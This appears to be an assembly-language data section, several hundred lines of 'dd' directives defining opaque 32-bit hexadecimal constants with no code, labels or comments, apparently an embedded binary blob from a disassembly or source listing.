dd 2C659186h, 8CC69034h, 0EB28D389h, 0E4513809h, 4D2A8070h
dd 9F4E692Ah, 8202856h, 0D4598F98h, 57BE00E8h, 929226Dh
dd 0C9FB9F2h, 268738F0h, 4742F31Eh, 7B55EE8Bh, 0BE560020h
dd 0F4C2C2Ah, 0CE7DE912h, 134BE6BEh, 0F8245EF7h, 0C28BF9BEh
dd 66593768h, 6BE91399h, 0BF86940Eh, 929A59C8h, 656BD5Ah
dd 507276D2h, 60606CE9h, 4A64BD38h, 17524A94h, 2C81B0B3h
dd 0F831455Fh, 34344CE6h, 0DF661495h, 0CB20D27Eh, 0C6EB8325h
dd 4EEAFA33h, 0BDF7D0DAh, 44386E4Ch, 0E4C2D043h, 0EFA7FC16h
dd 6034C8FAh, 0A941D14Ah, 26820C74h, 9C9D920h, 4F6A9639h
dd 31146BF0h, 7D8041CCh, 6BF3F06h, 8036F729h, 79E95E08h
dd 253B7B0h, 0B3536601h, 1B30285Ah, 0ED5BF002h, 0C7FBAB45h
dd 0B88AD5C0h, 0C5FE804Dh, 955749E9h, 5F8B1A7Dh, 30578032h
dd 59685389h, 0E90D0E7Bh, 0C23CBCFAh, 0B643865Fh, 61C84870h
dd 0E21829h, 0E165599Fh, 0BFFB89h, 1278DD31h, 13E7FE4Bh
dd 22CA6h, 5F0CF740h, 8AA00D7Ch, 7E0B3D3Fh, 0C8E7D116h
dd 3A6DEF31h, 31B42D84h, 2F54FC4Ch, 27187216h, 0E8E19B1h
dd 0BBA9D40Fh, 73BE1A20h, 634A8910h, 1D695BE0h, 870CE87Dh
dd 0F12E17E6h, 0F293E962h, 8EECF9FFh, 0AF1256CFh, 4EE94698h
dd 53E087BFh, 0A3119CAh, 0D3F79009h, 6697002Ah, 31D8849Ch
dd 4934DE5Fh, 88DB0ABFh, 0BF32B4DDh, 27CAD607h, 0FFF4064h
dd 1BA49250h, 1AE94E01h, 69067AC9h, 0F9DD778Fh, 17849BB6h
dd 494B3225h, 0EC6BC551h, 5E9C484Eh, 0BFC4BCB6h, 0F3EC176Bh
dd 891AC31Eh, 4354BE70h, 701A1E8h, 17A1B06h, 8048465h
dd 99BCB884h, 0DAC3E9B0h, 4A2D7AB9h, 0D4504234h, 1A5CA740h
dd 279FFF0Ch, 377F0BEAh, 0DB2966EBh, 9A43E04h, 56A3DE5Eh
dd 0EE2FC720h, 0B3459FEEh, 1A05E98Dh, 2FC17230h, 80558958h
dd 3EA20A93h, 0AA014AA9h, 7F84FB56h, 7B4AF2FEh, 0FC0A7B25h
dd 0F189C209h, 79D496F5h, 4F4D90EFh, 8F8505Ch, 8139BA4Ah
dd 8A5CF66Ah, 0CA196C9Fh, 3F30EA9Eh, 0C050430h, 1CD3F760h
dd 84A69100h, 4A5BDA29h, 8559BD5Dh, 9B20520Eh, 2C07D73h
dd 0D92ABB5Fh, 0BFFD475h, 6C4A052Eh, 0D63CBBE9h, 5B29FACFh
dd 12E4562h, 92D62F70h, 28680203h, 0E2BB854Ch, 0E957C188h
dd 46DD948h, 5A199E11h, 456CE98h, 3B5F9A68h, 278C157h
dd 5DBF00BAh, 90E49872h, 0E6CCB00Ch, 7A76148Eh, 0D904AE61h
dd 0E1F61E28h, 5106842Eh, 0DFB133E9h, 9BB4230h, 52DA1556h
dd 47FCF89h, 42A2878Bh, 1380AD97h, 72BF6337h, 0BC4410AAh
dd 0A017C820h, 0E450B49Ah, 0ECC01F2Fh, 0A3138B08h, 8B4892F5h
dd 75C15504h, 4FD278F8h, 28A9BFFCh, 134D00D6h, 0DBE93D1Fh
dd 0FA3BE13Bh, 735C5D3Dh, 6AA141F6h, 74108EE6h, 805B005Fh
dd 885377C2h, 0F3FCE4D7h, 0D5B062FEh, 3F35D618h, 0BE98D395h
dd 0A6AE193Eh, 1677A521h, 5BB9099Eh, 0E70030EDh, 29EC4BE5h
dd 210DE2ECh, 18480A09h, 124272FCh, 0EB7FE934h, 7D5C9449h
dd 0EB01F9Ch, 77A70997h, 93FF2509h, 0A50E4065h, 0FA991331h
dd 3F87AB8Eh, 32530D01h, 7057935h, 2CFB9C12h, 0D197570Ah
dd 0C4E9653Dh, 2BDCC999h, 0E50F6795h, 0DF8CC452h, 3F9EBAACh
dd 8D1ECA5h, 42A9D992h, 0A967E9A0h, 10D6BABDh, 176850FAh
dd 5F373F7h, 0FA7136ADh, 3F50BBF7h, 0D9FC9D3Ch, 5865456Fh
dd 873DE061h, 1672D207h, 0CA75E0EAh, 0A3818DE0h, 0DE36E742h
dd 1CFDEB19h, 702D01ACh, 0E978772Fh, 7455A59Dh, 9FEED062h
dd 0A73281C8h, 59ED7490h, 0B6B96EE1h, 8851C2C5h, 66599B67h
dd 5F594843h, 0E44A03ADh, 0EC30E909h, 555D2088h, 60A0F050h
dd 0F8BE749h, 20B71048h, 0D4977AB2h, 9956BFCEh, 0ED1756ACh
dd 993B84E2h, 0F1F72041h, 965A370Bh, 0A7FED43Fh, 0E99F83D5h
dd 0C8DF47D3h, 0D8D21559h, 0D52D687Dh, 552A181Bh, 1A4127E9h
dd 0DC9503C8h, 41CC1927h, 61FD4311h, 0BB4AD17Dh, 45FA37C5h
dd 0FF1183AFh, 929DBD31h, 0EBF5D76Ch, 6C12E0B2h, 1C0DFDBDh
dd 0B44360Ch, 0A8E4E8D1h, 3034E205h, 0F0F0846h, 0D58E14Fh
dd 0E5372578h, 57964Fh, 2453FB2Fh, 0BC5BE91Fh, 0A1B335AEh
dd 29FC3FECh, 10AB3DADh, 680E1C44h, 0BF132CEAh, 0FCA419F2h
dd 62ABB700h, 566387D2h, 54F7C83h, 668FBE10h, 0F60AC08Ch
dd 365C30F3h, 0CF12E2Bh, 349D6813h, 0D664CFECh, 7B21BE3Ah
dd 0FB05BB4Ah, 8CB41983h, 628730E8h, 0BE01956Fh, 0A00C4CDh
dd 6958E959h, 1DF52E40h, 6BD9A57Bh, 516A362h, 26D74740h
dd 29B4326Bh, 0FE8933C0h, 45BD659Ah, 0CC0925A6h, 0C13C517Fh
dd 6ECD17E9h, 0C96C9331h, 0B3530E80h, 15EB808Ch, 0C98606CFh
dd 0D4F74220h, 0E2F425D0h, 4682FF49h, 545F7EB3h, 3A9AA467h
dd 43401E2Eh, 3AE828CBh, 57EE2C1h, 0FF36985Eh, 101A6988h
dd 0D20BF977h, 6FD585Fh, 153AB2CDh, 25C1213h, 0DEE11204h
dd 0D9A18AFCh, 0D8E90003h
dd 0EA59C002h, 11401B12h, 9A05F2ECh, 313DCDEBh, 10497BFh
dd 826FC509h, 7E03CB0Ch, 0B440772Eh, 0B8804DADh, 0E61606EAh
dd 0BEEBF72h, 81CD3150h, 1026C505h, 94FA4578h, 0AB081361h
dd 0AA2AFF2Dh, 25E97B3Ch, 4CDDEAC6h, 97DAE00Dh, 3E4C96C9h
dd 4835C300h, 0BA830482h, 4E6871D7h, 0A07F244Fh, 0A528E90Dh
dd 0CC301EF7h, 7FB00DC4h, 2DC51C80h, 0EDBAFA28h, 0C6A5A2DEh
dd 1E62F5h, 59EB20CEh, 6DE9C3FEh, 0B248B964h, 0C2829681h
dd 5B1C8304h, 0FB1BD58Fh, 32E931B4h, 0B8778DD4h, 0F842787Ch
dd 8039BA97h, 84760C61h, 7B0CC153h, 30B05271h, 6D021313h
dd 69E9371Bh, 7A114C57h, 67A5E151h, 74EDF80h, 0CB01816Bh
dd 1B9046FAh, 133B8DE9h, 0EC628D2Dh, 0B8AAD663h, 672D2260h
dd 2BDB491Fh, 9C5D752h, 30BAD9AFh, 4B6B4A67h, 10F5EC7h
dd 944186BEh, 217EAF07h, 5BDE01AAh, 0F775A02Eh, 90D648h
dd 0FB36B518h, 0B1ED11E9h, 1E5E0889h, 0D03A412Dh, 0DAF60C84h
dd 0B0A385C0h, 202F6E92h, 0C0B656C2h, 51F0E280h, 57D7B127h
dd 0C41E490Fh, 0B828B6F1h, 0CE253BABh, 6A763732h, 0E4D07EE8h
dd 2DA1EC3Ch, 0CC575E51h, 0CFA4FE94h, 1A94CD02h, 40451FDDh
dd 300ECB73h, 361A1DBBh, 27480210h, 2D290304h, 0E6313C68h
dd 569B4074h, 0B0585CBEh, 296D127Eh, 14BE0143h, 7E332540h
dd 0D756CA09h, 0C1CEBAD9h, 0B9057CCEh, 7A62E03Eh, 0EDBFC518h
dd 257547D6h, 7A781E6Fh, 2B08EA51h, 6EB82CAAh, 0BBBB240h
dd 77CD10D4h, 9BF330A0h, 4348217Eh, 0C2371030h, 38D06627h
dd 0A80B5963h, 0F929D134h, 6DC11091h, 5969240Ah, 0B8223E17h
dd 51994F5h, 1E445232h, 0EBB7D1EAh, 28217007h, 56E4485Eh
dd 4ACB03C7h, 5D571BA4h, 6E5C1C8h, 17E64548h, 0B602967h
dd 2D370E05h, 79C2616Dh, 68570703h, 31EDDCE7h, 0AA89875Ah
dd 9BA1DE20h, 0BFE9C1C8h, 0BA228184h, 73AB218Eh, 932854E9h
dd 3264EE4Ah, 2801DF8Eh, 6F6866C3h, 84B26A56h, 61050B18h
dd 31801110h, 4A1AF8C5h, 0DC31EE25h, 922F8A05h, 0BE743376h
dd 5A6F2260h, 0FC505B2Bh, 0BBDE25BEh, 0EEA1DB6Bh, 0FD054E16h
dd 68C35015h, 0FEC8723Ah, 2B8D6B55h, 0B7F845C9h, 66EC950Eh
dd 1462F0F4h, 5CC8453h, 0AFE3EB01h, 6DBC8532h, 681BF65Ah
dd 0FA352F53h, 509E7F5Ah, 3854609Dh, 45B60676h, 0C95007E9h
dd 10BBED4Fh, 4D24C334h, 1075C2E3h, 23C6FF09h, 46EFEBDh
dd 941285E9h, 28D8FB23h, 0E3204AC7h, 5CAC17F8h, 88C0C6FCh
dd 82A6E9D4h, 0F52786BAh, 4BAC5B5Eh, 5C6D6C5Fh, 5E2A1FEAh
dd 5BDA30E8h, 47672E96h, 0B4F57BE3h, 425551C1h, 160B8601h
dd 41578B5h, 0C44D30BDh, 4605EE06h, 0AB81FE58h, 0B7D09BC3h
dd 42684A91h, 2A96E999h, 566386A0h, 97F41CABh, 414DC6Bh
dd 83BB706Ah, 0D3828C7Ch, 751E9D22h, 0AC25CB46h, 0D07C532h
dd 2ACDEF88h, 0C01848F4h, 0D2F75DEFh, 0D2954A42h, 32C24CB7h
dd 12602D13h, 7240BAA6h, 5B0B33FBh, 68551D52h, 6BA3CBD1h
dd 0C00ED058h, 0C02B146Dh, 3B63DFF5h, 8164B139h, 0C977E4BAh
dd 0FC092A0Ch, 47BC8005h, 4B65E91Eh, 7D27FAAEh, 8A2CC4Ah
dd 3FB358BFh, 0B455692Bh, 5BF15DF9h, 44561888h, 27D6E941h
dd 2052413Bh, 7F703E3Dh, 9E04D1B2h, 0C51EAC73h, 996906B8h
dd 85381864h, 291114C0h, 4A924BDAh, 0FAFF084h, 6776ACBBh
dd 830393BEh, 44074E18h, 36AF750Ch, 5513E3C2h, 57022DC4h
dd 0B1319BBFh, 0F481753Bh, 0C6731516h, 56CE8E7Dh, 0C102EFE9h
dd 0CCBE5A1h, 29E2B07Eh, 4D7AC1CFh, 5B51D38Fh, 23004B09h
dd 499B3488h, 0CC042F90h, 554A1015h, 338BAAh, 4B62424Ch
dd 2CB116BDh, 18D17829h, 0CE88240Ch, 0C17B70E5h, 0E8C01841h
dd 0D9595A66h, 0EA24540Bh, 0E8E731BCh, 0FB4BD316h, 0F7FAC25Ch
dd 5709924Eh, 75C0E1E9h, 64B4CB79h, 0E992DCEFh, 4D671737h
dd 0F7390D67h, 789F44E4h, 14F95B67h, 7C0A43FEh, 9957B4Bh
dd 98F5E334h, 0A85A8179h, 25685944h, 0B0DC11E1h, 6853D772h
dd 0C1CC5649h, 8976F768h, 0B01753ABh, 0BDEE9D65h, 591C2466h
dd 40A5CD09h, 641A6883h, 0A47C3B5Ch, 0D5BF6EBh, 31419BA5h
dd 0B62F1640h, 0AB4C685Ah, 9D5FC03Eh, 5D28B25Fh, 0A4870409h
dd 76A51965h, 625AC2F8h, 561B60F5h, 43CD35Eh, 0FA3BE5CAh
dd 58145E31h, 0D2D1F19Fh, 0F7E2BAB0h, 760B3D0Fh, 127D4F64h
dd 0AA803849h, 52921248h, 0C9FCB6FAh, 0BA800056h, 9F2CC13Fh
dd 4DD6750Bh, 9D3DC600h, 6960E972h, 9282528Ch, 987FABA1h
dd 0B7AD7770h, 4CF65D4Eh, 880EB7B4h, 0A79E4F5h, 0E896DAE8h
dd 57776ACh, 0EDB21D62h, 13560F91h, 158EB802h, 86DEF258h
dd 95454B12h, 6BF9BE60h, 0C499E30h, 404275CDh, 1C32DE1Dh
dd 7782422Fh, 772F567Ch, 7F124FB9h, 0F8309604h, 9711B2A9h
dd 0DF4427E5h, 5E83EE92h, 310E0FEAh, 0C5C480E7h, 8EEFD4F6h
dd 38A911DCh, 0E5FDA05Ah, 592CEEE4h, 0F8127A52h, 7D913EAh
dd 0E5515A7Fh, 0A729ECF1h, 801CCAF6h, 0BD2CA8FAh, 4A40B5A2h
dd 4CE81EFFh, 20041CF5h, 0E17FE958h, 0F4137886h, 943A97BAh
dd 0E14F0FCDh, 732C7BF7h, 62A9012Ah, 2E59D342h, 5D1B9A87h
dd 4EF49CC4h, 920975BAh, 0F5B9C1BCh, 20C58F7Ah, 0B44556ABh
dd 0E3320C57h, 37FA7D66h, 0F51B4A6Bh, 68170DCEh, 1D612864h
dd 0B90C6A17h, 577F1200h, 6EE94965h, 8C6E96A5h, 90D96DFh
dd 685EF704h, 0B310B4h, 9B409C0Bh, 93EBE282h, 82D4B103h
dd 6374E1CBh, 5EA50304h, 45C34137h, 4820E5B8h, 413D992Fh
dd 0B63BFA6Fh, 704A79FAh, 0E6889005h, 0A2F5DB0Eh, 555A59EBh
dd 30CC3A54h, 0A6B27D68h, 0B7FEBDF6h, 0CA6062FAh, 865D6064h
dd 43490F23h, 1DA4F921h, 0B40A453h, 0EF52F682h, 0DB8B5CA6h
dd 2C51E507h, 5AB20AEEh, 8EF17F27h, 6234F1CBh, 10290A68h
dd 2F5AF7A0h, 67C03D22h, 0C698F45Fh, 3309C701h, 13E91160h
dd 0C374D16Bh, 0EFFB6058h, 50F24A48h, 79B7E80Eh, 0BDFA5FCh
dd 0F673A198h, 5DF67A6Eh, 0C81B1EEh, 4B6F285Bh, 68D402FEh
dd 67D646DCh, 48EF75C1h, 0C5549C20h, 0F901586Ch, 17124845h
dd 92ED0683h, 6F33B5D3h, 7A48A9CFh, 0C9D29D26h, 3F5E1791h
dd 984E449Eh, 7D4AE960h, 0B9FAC993h, 333E8032h, 0F0D15139h
dd 0DD656B25h, 5E191087h, 0FB6865ABh, 603EEFE1h, 3E26E94Bh
dd 208DC69Dh, 812DE66Fh, 0A063F2EDh, 0C507F093h, 37B1275Dh
dd 0D70583CAh, 0C5D1024h, 0F3A728ACh, 0F98F4773h, 84C52751h
dd 106057E1h, 98344940h, 9F95C83Eh, 0A77832Dh, 194F7905h
dd 5C84168Fh, 22F6E5C7h, 0A0A8B9E5h, 8A0E4083h, 0EC4C00FCh
dd 4E89F7DAh, 2FA5E3E9h, 22CE4429h, 0F107E15Ch, 0A9F8BD1Eh
dd 24406B3h, 1A15BA16h, 12C16C0Eh, 0C4646CA0h, 0D3E84383h
dd 2C2E68C2h, 0B0B3C7D7h, 31DE687Eh, 0EE02659Bh, 777F0D5Bh
dd 27D3D780h, 0F5A165D6h, 0D3123BC0h, 8A4A7E8Ah, 0B868092Fh
dd 0CAC6F601h, 7A453BA9h, 0AC5AB42Bh, 68D1B246h, 5C3ABD09h
dd 2B7A07E6h, 883F616h, 0DF252389h, 67FD81BAh, 9560CFFh
dd 640B2D30h, 5778924Ch, 37011D8Fh, 901AB57Bh, 0F058D164h
dd 0A6CC304h, 270BC28h, 866E65CAh, 2C49F538h, 0C9713182h
dd 2D382E29h, 77D6B75Ch, 0D7F6E05Bh, 6DD99030h, 460D0632h
dd 894AA372h, 0C7C445BDh, 0C5EDA958h, 16BF6AE9h, 0B182A801h
dd 5FFA690Bh, 0A5EF5FDCh
dd 4BFA4C20h, 0E6046663h, 29CF9213h, 75F70BFFh, 2A58C661h
dd 6801A9BCh, 78185B51h, 8F2EB5Ah, 20EA8BA7h, 0D1079F0Bh
dd 30AB31F7h, 637E03DBh, 1525EE00h, 0E946556Bh, 64746F9Dh
dd 6F3F2741h, 3C44E81Bh, 0BBB8249Fh, 135AFDEEh, 69BB02C5h
dd 31AF2B7Ch, 86BE1h, 9055D5Ah, 0BBB79DFh, 0B951E100h
dd 9F2443A2h, 7D01B202h, 2909243Ah, 5D71D5FAh, 0E94B384Bh
dd 13FABCFDh, 0DF45BC41h, 693FD70Bh, 2828CD5Ch, 6285B800h
dd 0B9252335h, 1E90271Fh, 124172CEh, 166BCBFAh, 8AF39232h
dd 2144BD00h, 78DD0503h, 2D53F11Ch, 29FD84BBh, 0C1FAE8C1h
dd 2697BFF3h, 0D2C1B82h, 5D42D62h, 80D0E3A9h, 0F031C205h
dd 0E600816Ah, 0E9187E35h, 0E8604FA9h, 0AAF7C60Fh, 5DB03C10h
dd 712C0C00h, 3402E8C0h, 4E243272h, 752D3F88h, 0C05B5AA1h
dd 0F9E330EFh, 2561040h, 0C8214068h, 88FD5E19h, 49425360h
dd 0B458FBB5h, 4C10042Eh, 0C601010Dh, 0C87FBD55h, 0B9731F2h
dd 7AA005A8h, 1ED66698h, 149986Fh, 0A9ECE9D3h, 79AF2FFFh
dd 0CE617A42h, 0AF2B7B4Dh, 57642B44h, 96308EF3h, 0F08659DDh
dd 8D6F635h, 0B09660F2h, 2D4EE998h, 42BF3500h, 0F4083E7Fh
dd 2A029E7Eh, 19E0A530h, 223650h, 4A646858h, 0CA11304Bh
dd 0F7E42826h, 0E3C1D312h, 56733E05h, 0E9FB6CAEh, 0B6C96D2Ah
dd 72EAEB03h, 1C012627h, 273DFEA2h, 0D24C13FDh, 57B8C938h
dd 0B6D45D9h, 0A093FB3Eh, 2ADB3014h, 0EFEC2223h, 204D4409h
dd 8103DA47h, 0AD7B5908h, 17E9C512h, 0AC3EAAA1h, 87CF9FD4h
dd 0A0E21261h, 0A9673D16h, 7BAF8930h, 501C9708h, 6308540h
dd 950A44DEh, 0AEE8F05Fh, 3EBF5700h, 0E92D4E77h, 6E92115Bh
dd 0F66A55C7h, 765D79C2h, 50255CCBh, 0B5D3057h, 345D82E0h
dd 0FEDC845Ah, 90FC4802h, 27B3DB16h, 0AC68F027h, 0D226F757h
dd 5C0F9D4Ah, 0C096C6Ah, 0D9663C0Eh, 0B7E2E59h, 0A5F5BCBAh
dd 0E99CB67Eh, 0F763A67Bh, 0EA9690C9h, 0C9778205h, 9575D388h
dd 8799E07Eh, 0FB0F3F60h, 1FA46850h, 52376552h, 0B0824CBh
dd 415DEFE5h, 0FC7B59DCh, 0B1F09B93h, 9CB4D787h, 6284AA08h
dd 9E1B60AAh, 4D5B1672h, 0E2016585h, 0C42129Dh, 4E6B06Ah
dd 0A6A86F4Ah, 8121C3F1h, 1DB3536Ah, 0C0FDEB80h, 0A2EEF345h
dd 58C3139Ch, 0C67E901h, 0EE0059C4h, 7A76DC16h, 7778C97Dh
dd 0D9877203h, 9FFC383h, 2621E90Ah, 0EA8FB0FFh, 0FFDB9574h
dd 51E8153Dh, 0C83016F4h, 0FB4B78B7h, 447AD639h, 1421B6F7h
dd 9C387773h, 2AAA4E0Ch, 4AFE5C1Dh, 51F45EEEh, 491E4CC2h
dd 0CC800EA2h, 0F1F460FCh, 0FC58E128h, 56748BDh, 23914BD7h
dd 27CA88A8h, 0CB805A96h, 68143AF7h, 308D4D5Ah, 0E1BE301Bh
dd 35F3246Ch, 3324190Ah, 545CDDE0h, 1840EF86h, 295A5BDDh
dd 98595BCDh, 5E419A5Bh, 5C65E530h, 0FB97FE91h, 7F5BD3C3h
dd 4F3D3031h, 41A0EA1Fh, 0D405A625h, 47034382h, 0E5E31E49h
dd 308CA700h, 27E92189h, 0DF6545A2h, 7A88A9A5h, 95577FDBh
dd 5212235Bh, 7BA096D4h, 0DE0E4148h, 75F28640h, 0BD40CABEh
dd 0A7C3FB2h, 0B6F5810Fh, 0CFEE1D06h, 1AE0B13h, 0A8DAE9C3h
dd 7C5D3624h, 1979802Dh, 904CAF1Eh, 52A05AE1h, 1F87AE9Ah
dd 8CFFA3B4h, 0CA9D3130h, 538FDF10h, 44111F32h, 0B8E4CF74h
dd 0F789167Bh, 5CD75422h, 3ED52D9Dh, 7E649D4Ch, 0EBF8C604h
dd 0ACAF292Dh, 6257A210h, 6F0F5A6h, 0A702DF9Dh, 43625A5Fh
dd 2BD51AABh, 24E35D99h, 47080C04h, 0FDBF7B57h, 1F53176Dh
dd 5192B297h, 0E58D6A0h, 774B435Dh, 0C29C20F7h, 0BE7F8D8Ah
dd 70032885h, 68F49F4Fh, 0C06E8AE3h, 9DD8F70Dh, 7A0C9DCCh
dd 5242D027h, 2B0C25E9h, 0C10C9172h, 684E8075h, 30F9EB39h
dd 0A7F5847Ah, 14BD5216h, 0D2C812D6h, 0F02938F6h, 36BD0EBCh
dd 0F1CAEB12h, 75B2EF00h, 68E90254h, 0D32DF296h, 0EED262CBh
dd 251B14F5h, 467733AFh, 22517BC2h, 0F695626Bh, 0FBCD89BDh
dd 530B357Ah, 0FD48C057h, 78147449h, 6B882413h, 0A74C440Ch
dd 5D5697C7h, 7F2FEC20h, 2DB1C549h, 0AB56BBA4h, 2C4CD6E3h
dd 0BBB9D113h, 0BB408CCBh, 0E32510F4h, 171D0108h, 0F1291CEEh
dd 0B0AB5A44h, 9EBC31A6h, 2ACCC5AEh, 0FE71208h, 5ECD095Fh
dd 27215B57h, 67894EFBh, 203A4602h, 293F04CFh, 54669AF5h
dd 9CF6C10Fh, 573EA328h, 0DCC86D93h, 0C0B69B6Ch, 8414C381h
dd 46213266h, 9E4BC6Eh, 532E0FE9h, 94F5AF9Dh, 0E7E927A0h
dd 7EB614F8h, 4B3EE9D8h, 0BCE4D0AFh, 0A5BC319h, 0A339C2C0h
dd 0BFBD4D02h, 395ECE67h, 0BBE92E81h, 8C266A9Fh, 77086346h
dd 1A5B01E0h, 6852B160h, 0E31D4F7Bh, 0A2BB277Ch, 0CCA2A5B9h
dd 0B50C402Bh, 2A684840h, 121D508Ah, 0E8B275B4h, 76E32580h
dd 6DFCE92Fh, 58D5E9E7h, 68D953D0h, 0F9495DB5h, 0FB2C2284h
dd 0E181D570h, 7D16130Fh, 7592C043h, 517D721Dh, 0AADFF2A2h
dd 2939609Ah, 599EFFCAh, 4868DD4Bh, 279E9231h, 0F278EAF9h
dd 5E96F120h, 9217EFBFh, 0AA17C5h, 0E95057E3h, 0F9BFCE61h
dd 0E168ADA2h, 2EFD6A68h, 95E99460h, 212EC356h, 40105EF7h
dd 0E85A7A3Bh, 1DFA5F2Ah, 8BFD6F89h, 0E71E7593h, 463AAA2Dh
dd 0F2304F7Bh, 4AF8D1F9h, 8C6C4629h, 7AE5B38Dh, 44EE2CC8h
dd 2FFCC6D6h, 92117F3Dh, 0CDDCCB88h, 67FDA887h, 0FE8982F4h
dd 5D6712F7h, 0E9623ED4h, 2D0FDC0Bh, 8E202DE4h, 0F660B557h
dd 707563B5h, 7C2A01BDh, 0FF20C704h, 4BD304F7h, 0EE340AE9h
dd 41F69D2Ch, 13CE609Dh, 53A2926h, 1628BF0Dh, 0F8D2C662h
dd 2FA786BDh, 6BB4EC93h, 0FFD40C15h, 0A1EB996Bh, 261951A8h
dd 68333C73h, 2C3D1C9Ah, 707B4060h, 1A983578h, 62EA972Eh
dd 1A7AFE40h, 0BD1FF696h, 26878D90h, 74A092Ch, 0C5B13300h
dd 4EE4E942h, 6ACEB413h, 0A53DC6BEh, 2CF1E058h, 2DA2A467h
dd 847A1804h, 37297EA0h, 8710DD1Eh, 1308FE2Dh, 0F689E040h
dd 6866D604h, 57882A71h, 20B81FB7h, 0B6D62DFEh, 0B0BA5613h
dd 0E9E6DA0Eh, 0CE306C1Bh, 73E0C47Ch, 0B8D76001h, 4F5D17F7h
dd 119AC895h, 7D5D23Dh, 19F5C28Bh, 0DFA2A957h, 2C164AEDh
dd 0E7096A53h, 0BE35DE62h, 0B4092725h, 211335DCh, 12C7A2ABh
dd 47F2024Fh, 0CD3D7F84h, 1A59432Fh, 7FD3F927h, 809B24C1h
dd 0DC281106h, 60B4505Bh, 854F8B2h, 0C4FE59CCh, 0BCE9A10Dh
dd 0DDC14C8Fh, 9F66AEDCh, 5869E2E5h, 934597C3h, 259CA09h
dd 0B3078F6h, 25A8BB5Dh, 0BCD2F1EEh, 46904078h, 0BA1FFE79h
dd 1CC470CBh, 2380EAD1h, 7610331Eh, 41CA0525h, 0ED5B4752h
dd 0D74B1EACh, 27707E25h, 0D0E10B77h, 57122010h, 76ECBE04h
dd 0F4FB3585h, 30178C22h, 15F55BF6h, 0B40F228h, 16564EE9h
dd 6DBC68h, 10F335D1h, 0F24AF781h, 0E9180908h, 59570E21h
dd 5E54000Ah, 19F9BA52h, 0E96B8F06h, 0F522AC75h, 57FFE86Eh
dd 9F9E10B0h, 3A0BF03h, 62024D39h, 3E557EB6h, 0DB25E031h
dd 724082FBh, 0F813EAF2h, 3BB5E49h, 398F68D9h, 556F4D2Ch
dd 0D834F6BDh, 0FDFABF43h, 7E680942h, 2F0B516Eh, 0B6B46DD1h
dd 0EB4395EEh, 0DCACC333h, 8913A114h, 0AB9521h, 0C180FC1Fh
dd 0CC5988D9h, 0F4C59E4Ch, 14BB3096h, 0B73B3DACh, 5A79D8A2h
dd 64C0E45Fh, 0BDF6E788h, 7C64A0Ah, 65E9C4FEh, 269A4120h
dd 822C9125h, 0CC385EF8h, 0B3D8DF31h, 122D5500h, 0E9DA091Ah
dd 87AAA9C9h, 0FB88A03Bh
dd 2480AE40h, 1E43D6C2h, 4C5F65FDh, 0E0A9553Dh, 40D2292Ah
dd 0C06E511h, 5E321448h, 67E854D4h, 0BE49F10h, 324F7D68h
dd 7FEC8BD4h, 5A7CFFB3h, 0F22A1D24h, 54BB4EB4h, 0B44B6DAEh
dd 3159E9BAh, 0EFD113C9h, 0BF8222C5h, 0EBDA5CEAh, 7E015711h
dd 1553452Ch, 6C38D2E9h, 9F3A2E78h, 35F253E2h, 0A1AEBA05h
dd 88804446h, 8334E970h, 65FC20FDh, 2F312A07h, 5EF33261h
dd 7705B6E8h, 39737913h, 7A410BFh, 0B15CE917h, 6C6A345Fh
dd 654893FAh, 2F7904D0h, 46BF6EDDh, 913FA26Bh, 0F1D7F82Fh
dd 0F5687803h, 362590BBh, 9FFE95EEh, 57190A62h, 0FE838EF6h
dd 93C130C9h, 0EB084FC8h, 0AA772B04h, 16C0BD00h, 1B515B8h
dd 0C511F16Ch, 6D51017Ah, 2179E04Ch, 0D117D846h, 0DA21410Ch
dd 2EA8A5Bh, 0E94613F1h, 0E956E04Dh, 0EC06908Eh, 13D44C62h
dd 80C7129h, 0D725FB9Fh, 567F36CEh, 910C494Bh, 4F549A50h
dd 2EB2DDD8h, 10846AB3h, 9AE3AE17h, 4ACB5D50h, 2D9DEB87h
dd 2F7FA06Ch, 7E195A72h, 4EBF2F5Fh, 0A857AA46h, 3FA4C40Ah
dd 7E0BDDABh, 0F58BA117h, 0F6ACE93Ah, 59FDA02Eh, 0B75E9228h
dd 7CA5E7Ah, 6748C010h, 381874Ah, 0F77BFEFCh, 4A93488Ch
dd 0C6BBEDC0h, 47643E51h, 0FC55C7D0h, 1EC2BA63h, 4F3D7835h
dd 0B1F054Bh, 0FBD634B5h, 253D712Eh, 0C06F9230h, 1205E2B9h
dd 14E125Eh, 8118B2Ah, 50BA558Ch, 953AD2BEh, 0B30E2C40h
dd 0E27EB80h, 0DEBABCC3h, 418D3EA0h, 0B643417Bh, 3EF3C1CAh
dd 2BA70E17h, 80C5E917h, 26F1B874h, 25526200h, 538745EAh
dd 7905E240h, 4C1E012Bh, 0F15EF62Dh, 49AE3AC0h, 0A2C55832h
dd 3FDDC88h, 2D227B68h, 0EF37C1EDh, 3446FB6h, 0AA12CF19h
dd 167E2CCDh, 2274AA8Fh, 0A2FBD452h, 541CB1FFh, 447532E2h
dd 2019793h, 0E0F8295Dh, 41DF31D9h, 74538C92h, 2F7ED38Ah
dd 4C1E3517h, 55346827h, 5D24AAE6h, 0F281F9C0h, 0C2B3539Ch
dd 0D041CBD9h, 0D34392E3h, 2383850Dh, 38BBCC67h, 7CB52D9Dh
dd 0F0010C97h, 659D3C56h, 92116ABh, 9EF65554h, 0E836AB02h
dd 0EAF66Ah, 1E8325BDh, 32E4E98Dh, 0E408309Ah, 8279842Dh
dd 6E86318Ah, 53C0C74h, 0ACC98D09h, 0D81252D4h, 72AAE384h
dd 9915A85h, 777E7029h, 4D528A4Ah, 0D36F5EEAh, 0BF4BC084h
dd 0DF1AEED5h, 0DF9E01FBh, 749762DAh, 4812FB60h, 3FF3C5D9h
dd 0BA647416h, 0F7B71A62h, 702CA415h, 0E0987525h, 0F8B7F589h
dd 45E5EDBh, 0AA4F29EEh, 352F26B2h, 0F13D3C52h, 72369363h
dd 0C213FDFCh, 388EFFA9h, 7FA10825h, 62FEF9E3h, 934BDF34h
dd 4365554Bh, 0B72498ADh, 0EFC017D6h, 0CA820B04h, 30C92507h
dd 0CF28A0C7h, 2E4CD298h, 3BDB818Dh, 91EC2338h, 704CBD39h
dd 81459E51h, 1E34BB58h, 81F563D6h, 502F4F3Ch, 0DAD8FD74h
dd 32EA9226h, 5422652Dh, 2A55B869h, 302A29FEh, 7734FBBh
dd 8822F92h, 0BBFE3157h, 74F6E0DFh, 470220E9h, 0ADD048EAh
dd 1D3C0799h, 0CE613ACBh, 1CDD0FABh, 1662EEF0h, 0BF605840h
